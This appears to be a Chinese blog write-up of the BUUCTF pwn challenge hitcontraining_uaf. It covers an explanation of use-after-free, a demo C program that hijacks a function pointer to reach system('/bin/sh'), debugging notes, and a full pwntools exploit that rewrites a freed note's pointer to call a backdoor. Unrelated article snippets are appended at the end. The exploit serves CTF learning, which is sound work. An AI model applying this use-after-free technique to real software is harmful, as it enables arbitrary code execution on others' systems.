[BUUCTF-Pwn]hitcontraining_uaf
[BUUCTF-Pwn]hitcontraining_uaf
以此题作为对Pwn中堆利用的学习的开始。堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教。
0x00.简述
成因
应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
示例程序
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1[3]=echo;
p1[3]("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}
运行结果

0x01.检查保护

0x02.静态分析

经典菜单题,进入add_note函数查看,一次只能add一个结点,最多add5个
容易观察到notelist其实是一个结构体数组,大小为8个字节,其第一个成员为函数指针(4字节),指向print_note_content函数,其第二个成员也为一个指针(4字节),指向后续malloc指定大小的空间,因此在ida中的Structures窗口添加如下结构体定义

将notelist的类型声明改为如下所示

优化效果:

再看del_note函数,作用是删除指定下标的结点

未将指针置空,存在uaf漏洞
print_note函数,打印指定下标的结构体中buf的内容

在这个函数中会执行notelist结构体中第一个指针指向的函数,我们如果能把指针改为指向system("/bin/sh")函数,就能获得权限
后门:

0x03.动态调试
我们申请了两个结构体

堆中情况如下:

释放:

堆中:

bins:

0x04.思路
可以看到其实free过后只是更改了fd处的四个字节(插入到fastbin链表中),并没有”真正的释放“
本来,在buf(size为0x41的堆块)中fd对应的四个字节其实就是用户输入的内容的前四个字节,在指针型结构体(size为0x17的堆块)中fd对应的是print指针,即print_note_content函数的地址。现在,free过后,他们都被更改。
此时如果我们再申请一个结构体并在其内部给buf分配8字节的堆空间,就会用到fastbins中大小为0x10的两个堆
fastbin先进后出,所以原来的1号堆对应现在的指针型结构体,0号堆对应现在的buf,由于我们现在可以向buf中写东西,所以如果我们向buf中前四个字节处(也就是fd处)写入magic函数的地址,再次调用print函数尝试输出0号堆的内容时,它以为前四个字节(fd处的四个字节)是print_note_content函数的地址,而实际是magic函数的地址,所以执行的是magic函数,也就是system("/bin/sh")
简单说来,就是我们在最后print的是编号为0的堆块,它虽然已经被free掉了,但是指向它的指针没有置为null,指针仍然指向它,那么我们再通过该指针来调用它的时候,就会调用magic函数
0x05.exp
exp如下:
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process('./hacknote')
def addnote(size, content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def delnote(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index))
def printnote(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index))
#gdb.attach(p)
magic_addr = 0x08048945
addnote(0x30, 'aaaa')
addnote(0x30, 'bbbb')
delnote(0)
delnote(1)
addnote(8, p32(magic_addr))
printnote(0)
p.interactive()
[BUUCTF-Pwn]hitcontraining_uaf的更多相关文章
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- MIMO OFDM 常用信号检测算法
MIMO OFDM 系统检测算法 1. 前言 MIMO的空分复用技术可以使得系统在系统带宽和发射带宽不变的情况下容易地获得空间分集增益和信道的容量增益.OFDM技术采用多个正交的子载波并行传输数据,使 ...
- WPF 基础 - 点击事件的执行顺序及 Button 点击事件的特殊性
1. 点击事件的执行顺序 PreviewMouseLeftButtonDown PreviewMouseDown MouseLeftButtonDown MouseDown PreviewMouseL ...
- Java 运行时数据区和内存模型
运行时数据区是指对 JVM 运行过程中涉及到的内存根据功能.目的进行的划分,而内存模型可以理解为对内存进行存取操作的过程定义.总是有人望文生义的将前者描述为 "Java 内存模型" ...
- 【关系抽取-R-BERT】加载数据集
认识数据集 Component-Whole(e2,e1) The system as described above has its greatest application in an arraye ...
- CSS篇-样式表、选择器、权重、伪类
CSS定义 CSS:Cascading Style Sheet(层叠样式表) // 写法 选择器 { 属性名: 属性值; } CSS样式表 (1)三种样式表使用 // 内联样式 <div sty ...
- ELK(ElasticSearch+Logstash+Kibana)配置中的一些坑基于7.6版本
三个组件都是采用Docker镜像安装,过程简单不做赘述,直接使用Docker官方镜像运行容器即可,注意三个组件版本必须一致. 运行容器时最好将三个组件的核心配置文件与主机做映射,方便直接在主机修改不用 ...
- Linux wget 使用笔记
wget 是 Linux 上最常用的文件下载工具,简单实用.记录一下一些常用的操作备查. 最常用最简单的操作就是直接使用一个 URL 下载 下载互联网上指定的文件 wget https://gemme ...
- concurrentHashMap的put方法详解
本文主要介绍ConcurrentHashMap的put操作如果有错误的地方欢迎大家指出. 1.ConcurrentHashMap的put操作 ConcurrentHashMap的put操作主要有3种方 ...
- Java学习之this关键字的使用
•区分成员变量和局部变量 public class Person { String name; int age; public void set(String name,int age) { this ...
- DFS 深搜专题 入门典例 -- 凌宸1642
DFS 深搜专题 入门典例 -- 凌宸1642 深度优先搜索 是一种 枚举所有完整路径以遍历所有情况的搜索方法 ,使用 递归 可以很好的实现 深度优先搜索. 1 最大价值 题目描述 有 n 件物品 ...